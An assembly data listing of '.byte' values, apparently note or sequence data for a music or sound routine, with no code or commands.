.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 48
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 60
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 45
.byte 64
.byte 57
.byte 72
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 185
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 69
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 43
.byte 59
.byte 67
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 199
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 71
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 62
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 66
.byte 0
.byte 0
.byte 0
.byte 0
.byte 190
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 38
.byte 62
.byte 66
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 38
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 50
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 0
.byte 0
.byte 195
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 45
.byte 64
.byte 69
.byte 72
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 185
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 33
.byte 0
.byte 72
.byte 64
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 45
.byte 0
.byte 0
.byte 0
.byte 64
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 33
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 41
.byte 67
.byte 65
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 69
.byte 65
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 188
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 36
.byte 48
.byte 60
.byte 67
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 48
.byte 0
.byte 0
.byte 0
.byte 65
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 36
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 72
.byte 0
.byte 0
.byte 60
.byte 26
.byte 38
.byte 66
.byte 62
.byte 74
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 190
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 69
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 66
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 28
.byte 0
.byte 60
.byte 64
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 40
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 40
.byte 0
.byte 0
.byte 181
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 41
.byte 60
.byte 65
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 65
.byte 188
.byte 81
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 79
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 67
.byte 188
.byte 77
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 72
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 197
.byte 65
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 29
.byte 0
.byte 0
.byte 0
.byte 77
.byte 60
.byte 67
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 41
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 29
.byte 0
.byte 0
.byte 190
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 26
.byte 38
.byte 69
.byte 65
.byte 67
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 38
.byte 0
.byte 0
.byte 0
.byte 69
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 26
.byte 0
.byte 0
.byte 183
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 31
.byte 67
.byte 60
.byte 74
.byte 60
.byte 76
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 74
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 72
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 43
.byte 59
.byte 62
.byte 74
.byte 60
.byte 74
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 71
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 71
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 79
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 71
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 31
.byte 0
.byte 0
.byte 0
.byte 62
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 43
.byte 0
.byte 0
.byte 0
.byte 67
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 31
.byte 0
.byte 0
.byte 0
.byte 71
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 44
.byte 63
.byte 56
.byte 75
.byte 60
.byte 68
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 60
.byte 188
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 63
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 60
.byte 32
.byte 0
.byte 0
.byte 0
.byte 75
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 32
.byte 0
.byte 0
.byte 0
.byte 68
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 44
.byte 0
.byte 0
.byte 0
.byte 63
.byte 60
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
